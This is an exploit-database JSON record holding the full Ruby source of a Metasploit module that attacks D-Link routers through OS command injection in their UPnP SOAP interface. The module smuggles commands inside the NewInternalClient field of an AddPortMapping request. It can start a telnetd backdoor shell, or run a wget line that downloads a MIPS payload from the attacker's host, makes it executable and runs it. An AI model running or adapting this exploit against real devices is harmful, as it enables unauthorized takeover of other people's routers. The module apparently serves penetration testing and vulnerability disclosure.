{"id": "EDB-ID:27044", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "D-Link Devices - UPnP SOAP Command Execution (Metasploit)", "description": "", "published": "2013-07-23T00:00:00", "modified": "2013-07-23T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.exploit-db.com/exploits/27044", "reporter": "Metasploit", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2022-08-16T08:41:51", "viewCount": 21, "enchantments": {"score": {"value": 0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2013-7471"]}]}, "exploitation": null, "vulnersScore": 0.0}, "_state": {"dependencies": 1661190352, "score": 1661184847, "epss": 1678800746}, "_internal": {"score_hash": "02ae5256d60d002416465a213c81a0e8"}, "sourceHref": "https://www.exploit-db.com/download/27044", "sourceData": "##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# web site for more information on licensing and terms of use.\r\n# http://metasploit.com/\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::Remote::HttpServer\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n include Msf::Auxiliary::CommandShell\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'D-Link Devices UPnP SOAP Command Execution',\r\n 'Description' => %q{\r\n Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP\r\n interface. Since it is a blind OS command injection vulnerability, there is no\r\n output for the executed command when using the CMD target. Additionally, two targets\r\n are included, to start a telnetd service and establish a session over it, or deploy a\r\n native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,\r\n DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,\r\n more D-Link devices may affected.\r\n },\r\n 'Author' =>\r\n [\r\n 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module\r\n 'juan vazquez' # minor help with msf module\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'References' =>\r\n [\r\n [ 'OSVDB', '94924' ],\r\n [ 'BID', '61005' ],\r\n [ 'EDB', '26664' ],\r\n [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]\r\n ],\r\n 'DisclosureDate' => 'Jul 05 2013',\r\n 'Privileged' => true,\r\n 'Platform' => ['linux','unix'],\r\n 'Payload' =>\r\n {\r\n 'DisableNops' => true,\r\n },\r\n 'Targets' =>\r\n [\r\n [ 'CMD', #all devices\r\n {\r\n 'Arch' => ARCH_CMD,\r\n 'Platform' => 'unix'\r\n }\r\n ],\r\n [ 'Telnet', #all devices - default target\r\n {\r\n 'Arch' => ARCH_CMD,\r\n 'Platform' => 'unix'\r\n }\r\n ],\r\n [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed\r\n {\r\n 'Arch' => ARCH_MIPSLE,\r\n 'Platform' => 'linux'\r\n }\r\n ],\r\n ],\r\n 'DefaultTarget' => 1\r\n ))\r\n\r\n register_options(\r\n [\r\n Opt::RPORT(49152), #port of UPnP SOAP webinterface\r\n OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),\r\n OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),\r\n OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),\r\n ], self.class)\r\n end\r\n\r\n def exploit\r\n @new_portmapping_descr = rand_text_alpha(8)\r\n @new_external_port = rand(65535)\r\n @new_internal_port = rand(65535)\r\n\r\n if target.name =~ /CMD/\r\n exploit_cmd\r\n elsif target.name =~ /Telnet/\r\n exploit_telnet\r\n else\r\n exploit_mips\r\n end\r\n end\r\n\r\n def exploit_cmd\r\n if not (datastore['CMD'])\r\n fail_with(Exploit::Failure::BadConfig, \"#{rhost}:#{rport} - Only the cmd/generic payload is compatible\")\r\n end\r\n cmd = payload.encoded\r\n type = \"add\"\r\n res = request(cmd, type)\r\n if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\\,\\ UPnP\\/1.0,\\ DIR/)\r\n fail_with(Exploit::Failure::Unknown, \"#{rhost}:#{rport} - Unable to execute payload\")\r\n end\r\n print_status(\"#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\")\r\n type = \"delete\"\r\n res = request(cmd, type)\r\n if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\\,\\ UPnP\\/1.0,\\ DIR/)\r\n fail_with(Exploit::Failure::Unknown, \"#{rhost}:#{rport} - Unable to execute payload\")\r\n end\r\n return\r\n end\r\n\r\n def exploit_telnet\r\n telnetport = rand(65535)\r\n\r\n vprint_status(\"#{rhost}:#{rport} - Telnetport: #{telnetport}\")\r\n\r\n cmd = \"telnetd -p #{telnetport}\"\r\n type = \"add\"\r\n res = request(cmd, type)\r\n if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\\,\\ UPnP\\/1.0,\\ DIR/)\r\n fail_with(Exploit::Failure::Unknown, \"#{rhost}:#{rport} - Unable to execute payload\")\r\n end\r\n type = \"delete\"\r\n res = request(cmd, type)\r\n if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\\,\\ UPnP\\/1.0,\\ DIR/)\r\n fail_with(Exploit::Failure::Unknown, \"#{rhost}:#{rport} - Unable to execute payload\")\r\n end\r\n\r\n begin\r\n sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })\r\n\r\n if sock\r\n print_good(\"#{rhost}:#{rport} - Backdoor service has been spawned, handling...\")\r\n add_socket(sock)\r\n else\r\n fail_with(Exploit::Failure::Unknown, \"#{rhost}:#{rport} - Backdoor service has not been spawned!!!\")\r\n end\r\n\r\n print_status \"Attempting to start a Telnet session #{rhost}:#{telnetport}\"\r\n auth_info = {\r\n :host => rhost,\r\n :port => telnetport,\r\n :sname => 'telnet',\r\n :user => \"\",\r\n :pass => \"\",\r\n :source_type => \"exploit\",\r\n :active => true\r\n }\r\n report_auth_info(auth_info)\r\n merge_me = {\r\n 'USERPASS_FILE' => nil,\r\n 'USER_FILE' => nil,\r\n 'PASS_FILE' => nil,\r\n 'USERNAME' => nil,\r\n 'PASSWORD' => nil\r\n }\r\n start_session(self, \"TELNET (#{rhost}:#{telnetport})\", merge_me, false, sock)\r\n rescue\r\n fail_with(Exploit::Failure::Unknown, \"#{rhost}:#{rport} - Backdoor service has not been spawned!!!\")\r\n end\r\n return\r\n end\r\n\r\n def exploit_mips\r\n\r\n downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))\r\n\r\n #thx to Juan for his awesome work on the mipsel elf support\r\n @pl = generate_payload_exe\r\n @elf_sent = false\r\n\r\n #\r\n # start our server\r\n #\r\n resource_uri = '/' + downfile\r\n\r\n if (datastore['DOWNHOST'])\r\n service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri\r\n else\r\n #do not use SSL\r\n if datastore['SSL']\r\n ssl_restore = true\r\n datastore['SSL'] = false\r\n end\r\n\r\n #we use SRVHOST as download IP for the coming wget command.\r\n #SRVHOST needs a real IP address of our download host\r\n if (datastore['SRVHOST'] == \"0.0.0.0\" or datastore['SRVHOST'] == \"::\")\r\n srv_host = Rex::Socket.source_address(rhost)\r\n else\r\n srv_host = datastore['SRVHOST']\r\n end\r\n\r\n service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri\r\n\r\n print_status(\"#{rhost}:#{rport} - Starting up our web service on #{service_url} ...\")\r\n start_service({'Uri' => {\r\n 'Proc' => Proc.new { |cli, req|\r\n on_request_uri(cli, req)\r\n },\r\n 'Path' => resource_uri\r\n }})\r\n\r\n datastore['SSL'] = true if ssl_restore\r\n end\r\n\r\n #\r\n # download payload\r\n #\r\n print_status(\"#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}\")\r\n #this filename is used to store the payload on the device\r\n filename = rand_text_alpha_lower(8)\r\n\r\n cmd = \"/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}\"\r\n type = \"add\"\r\n res = request(cmd, type)\r\n if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\\,\\ UPnP\\/1.0,\\ DIR/)\r\n fail_with(Exploit::Failure::Unknown, \"#{rhost}:#{rport} - Unable to deploy payload\")\r\n end\r\n\r\n # wait for payload download\r\n if (datastore['DOWNHOST'])\r\n print_status(\"#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload\")\r\n select(nil, nil, nil, datastore['HTTP_DELAY'])\r\n else\r\n wait_linux_payload\r\n end\r\n\r\n register_file_for_cleanup(\"/tmp/#{filename}\")\r\n\r\n type = \"delete\"\r\n res = request(cmd, type)\r\n if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\\,\\ UPnP\\/1.0,\\ DIR/)\r\n fail_with(Exploit::Failure::Unknown, \"#{rhost}:#{rport} - Unable to execute payload\")\r\n end\r\n end\r\n\r\n def request(cmd, type)\r\n\r\n uri = '/soap.cgi'\r\n\r\n data_cmd = \"<?xml version=\\\"1.0\\\"?>\"\r\n data_cmd << \"<SOAP-ENV:Envelope xmlns:SOAP-ENV=\\\"http://schemas.xmlsoap.org/soap/envelope\\\" SOAP-ENV:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\">\"\r\n data_cmd << \"<SOAP-ENV:Body>\"\r\n\r\n if type == \"add\"\r\n vprint_status(\"#{rhost}:#{rport} - adding portmapping\")\r\n\r\n soapaction = \"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"\r\n\r\n data_cmd << \"<m:AddPortMapping xmlns:m=\\\"urn:schemas-upnp-org:service:WANIPConnection:1\\\">\"\r\n data_cmd << \"<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>\"\r\n data_cmd << \"<NewLeaseDuration></NewLeaseDuration>\"\r\n data_cmd << \"<NewInternalClient>`#{cmd}`</NewInternalClient>\"\r\n data_cmd << \"<NewEnabled>1</NewEnabled>\"\r\n data_cmd << \"<NewExternalPort>#{@new_external_port}</NewExternalPort>\"\r\n data_cmd << \"<NewRemoteHost></NewRemoteHost>\"\r\n data_cmd << \"<NewProtocol>TCP</NewProtocol>\"\r\n data_cmd << \"<NewInternalPort>#{@new_internal_port}</NewInternalPort>\"\r\n data_cmd << \"</m:AddPortMapping>\"\r\n else\r\n #we should clean it up ... otherwise we are not able to exploit it multiple times\r\n vprint_status(\"#{rhost}:#{rport} - deleting portmapping\")\r\n soapaction = \"urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping\"\r\n\r\n data_cmd << \"<m:DeletePortMapping xmlns:m=\\\"urn:schemas-upnp-org:service:WANIPConnection:1\\\">\"\r\n data_cmd << \"<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>\"\r\n data_cmd << \"</m:DeletePortMapping>\"\r\n end\r\n\r\n data_cmd << \"</SOAP-ENV:Body>\"\r\n data_cmd << \"</SOAP-ENV:Envelope>\"\r\n\r\n begin\r\n res = send_request_cgi({\r\n 'uri' => uri,\r\n 'vars_get' => {\r\n 'service' => 'WANIPConn1'\r\n },\r\n 'ctype' => \"text/xml\",\r\n 'method' => 'POST',\r\n 'headers' => {\r\n 'SOAPAction' => soapaction,\r\n },\r\n 'data' => data_cmd\r\n })\r\n return res\r\n rescue ::Rex::ConnectionError\r\n vprint_error(\"#{rhost}:#{rport} - Failed to connect to the web server\")\r\n return nil\r\n end\r\n end\r\n\r\n # Handle incoming requests from the server\r\n def on_request_uri(cli, request)\r\n #print_status(\"on_request_uri called: #{request.inspect}\")\r\n if (not @pl)\r\n print_error(\"#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!\")\r\n return\r\n end\r\n print_status(\"#{rhost}:#{rport} - Sending the payload to the server...\")\r\n @elf_sent = true\r\n send_response(cli, @pl)\r\n end\r\n\r\n # wait for the data to be sent\r\n def wait_linux_payload\r\n print_status(\"#{rhost}:#{rport} - Waiting for the target to request the ELF payload...\")\r\n\r\n waited = 0\r\n while (not @elf_sent)\r\n select(nil, nil, nil, 1)\r\n waited += 1\r\n if (waited > datastore['HTTP_DELAY'])\r\n fail_with(Exploit::Failure::Unknown, \"#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?\")\r\n end\r\n end\r\n end\r\nend", "osvdbidlist": ["94924"], "exploitType": "remote", "verified": true}
{}